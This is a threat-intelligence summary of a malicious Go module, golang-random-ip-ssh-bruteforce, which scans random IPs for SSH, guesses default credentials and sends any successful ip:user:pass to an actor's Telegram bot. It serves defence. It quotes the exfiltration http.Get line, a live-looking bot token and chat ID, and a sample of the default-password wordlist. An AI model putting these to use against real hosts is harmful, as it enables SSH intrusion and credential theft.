Socket Threat Research uncovered a malicious Go module, golang-random-ip-ssh-bruteforce, that pretends to be an SSH brute-forcing tool but exfiltrates first-successful credentials to a hardcoded Telegram bot controlled by the actor IllDieAnyway. The package continuously scans random IPv4 addresses for SSH, attempts logins from an embedded wordlist, disables host key verification, and sends ip:user:pass to @sshZXC_bot which forwards to @io_ping. #golang-random-ip-ssh-bruteforce #IllDieAnyway
Keypoints
- Socket’s AI scanner detected a malicious Go module published June 24, 2022, that exfiltrates credentials on first successful SSH login.
- The package enumerates random IPv4 addresses, probes TCP port 22, and attempts concurrent SSH logins using a local wl.txt wordlist pairing root/admin with weak defaults.
- On first success the package sends the target IP, username, and password to a hardcoded Telegram bot token and chat (ssh_bot/@sshZXC_bot -> @io_ping chat_id 1159678884) and then exits.
- The threat actor’s GitHub alias is IllDieAnyway (aka G3TT/Gett), and their repos show a pattern of Telegram callbacks and offensive tooling (port scanners, phpMyAdmin brute forcer, Selica-C2, etc.).
- The wordlist targets common defaults and IoT/SBC images (e.g., raspberry, dietpi, alpine, toor), favoring wide scanning and rapid exit-on-first-success behavior.
- Exfiltration via Telegram over HTTPS can blend with normal web traffic, reducing detection by coarse egress controls; the bot token was observed live at time of reporting.
- Recommendations include treating untrusted offensive utilities as hostile, enforcing supply-chain reviews, blocking/monitoring messaging APIs, and detecting ssh.InsecureIgnoreHostKey and Telegram API references.
MITRE Techniques
- [T1195.002] Supply Chain Compromise – Malicious module published in Go module ecosystem posing as useful tooling, enabling compromise through dependency consumption: “malicious Go module package, golang-random-ip-ssh-bruteforce”
- [T1608.001] Stage Capabilities: Upload Malware – Threat actor hosts offensive utilities and uploads malicious tooling to public repos for distribution: “The threat actor’s GitHub account hosts the brute forcer and other offensive utilities”
- [T1204.002] User Execution: Malicious File – The package relies on operators running the provided utility to execute the malicious behavior: “anyone who runs the package hands over their initial access wins to the Russian-speaking threat actor”
- [T1046] Network Service Discovery – The code probes random IPv4 addresses for open TCP/22 to discover SSH services: “generates random IPv4 addresses, probes TCP 22 with a short timeout”
- [T1110.001] Brute Force: Password Guessing – Attempts authentication using a local username-password wordlist to guess SSH credentials: “launches concurrent SSH logins from a local wordlist”
- [T1021.004] Remote Services: SSH – Uses SSH protocol to attempt remote logins and disable host key checks to skip verification: “HostKeyCallback: ssh.InsecureIgnoreHostKey() to skip server identity checks”
- [T1071.001] Application Layer Protocol: Web Protocols – Exfiltrates credentials using HTTP(s) requests to the Telegram Bot API endpoint: “http.Get(‘https://api.telegram[.]org/bot…/sendMessage?…&text=’ + data)”
- [T1567] Exfiltration Over Web Service – Sends stolen ip:user:pass to a hardcoded Telegram bot/chat over the Telegram Bot API: “sends the target IP, username, and password to a hardcoded Telegram bot and chat controlled by the threat actor”
Indicators of Compromise
- [Malicious Package] golang module – golang-random-ip-ssh-bruteforce (published on Go Module and mirrored on GitHub)
- [Threat Actor / Accounts] GitHub and aliases – IllDieAnyway (https://github[.]com/IllDieAnyway), aliases G3TT / Gett
- [Exfiltration Endpoint] Telegram Bot API URL – https://api[.]telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884 (hardcoded bot token and chat_id)
- [Telegram Identifiers] bot and destination – Bot name ssh_bot (@sshZXC_bot), destination user Gett (@io_ping), chat_id 1159678884
- [Embedded Wordlist] credential pairs / file name – wl.txt containing entries pairing root/admin with passwords like toor, raspberry, dietpi, alpine, 123456, webadmin (and more)
Read more: https://socket.dev/blog/malicious-go-module-disguised-as-ssh-brute-forcer-exfiltrates-credentials